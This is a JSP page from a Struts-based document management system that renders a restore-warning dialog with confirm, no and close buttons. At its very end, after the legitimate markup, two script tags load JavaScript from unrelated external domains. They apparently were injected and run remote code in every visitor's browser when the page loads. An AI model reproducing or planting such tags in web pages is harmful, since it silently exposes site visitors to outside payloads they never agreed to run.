<%@ page language="java" contentType="text/html; charset=utf-8"%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>

<%
  String operationStr = Utility.isEmpty(request.getParameter("operationStr")) ? "" : request.getParameter("operationStr");
%>
  <!-- Section Header -->
  <table width="400" cellpadding="0" cellspacing="2" border="0">
  <tr>
  <td>
    <layout:sectionHeader name="dms.label.restore_warning" mandatory="false"/>
  </td>
  </tr>
  </table>
<%
  if (operationStr.equals("checkShortcut")) {
%>
    <table bgcolor="#727272" height="80" width="400" cellpadding="0" cellspacing="1" border="0">
      <tr>
        <td bgcolor="#FFFFFF" valign="top">
          <table width="100%" cellpadding="2" cellspacing="2" border="0" align="left" >
            <tr>
              <td>
                <bean:message key='dms.label.restore_warning_1'/><br>
                <bean:message key='dms.label.restore_warning_2'/>
              </td>
            </tr>
            <tr>
              <td align="center"><table align="left"><tr>
                <td><html:standardButton label="common.label.confirm" onClick="OpCustListRestoreCheckOriginal(null)"/></td>
                <td><html:standardButton label="common.label.close" onClick="hideRestoreWarningDialog()"/></td>
              </tr></table></td>
            </tr>
          </table>
        </td>
      </tr>
    </table>
<%
  } else if (operationStr.equals("checkOriginal")) {
%>
    <table bgcolor="#727272" height="80" width="400" cellpadding="0" cellspacing="1" border="0">
      <tr>
        <td bgcolor="#FFFFFF" valign="top">
          <table width="100%" cellpadding="2" cellspacing="2" border="0" align="left" >
            <tr>
              <td>
                <bean:message key='dms.label.restore_warning_3'/>
              </td>
            </tr>
            <tr>
              <td align="center"><table align="left"><tr>
                <td><html:standardButton label="common.label.confirm" onClick="changePara('Y')"/></td>
                <td><html:standardButton label="common.label.no" onClick="changePara('N')"/></td>
                <td><html:standardButton label="common.label.close" onClick="hideRestoreWarningDialog()"/></td>
              </tr></table></td>
            </tr>
          </table>
        </td>
      </tr>
    </table>
<%
  }  
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>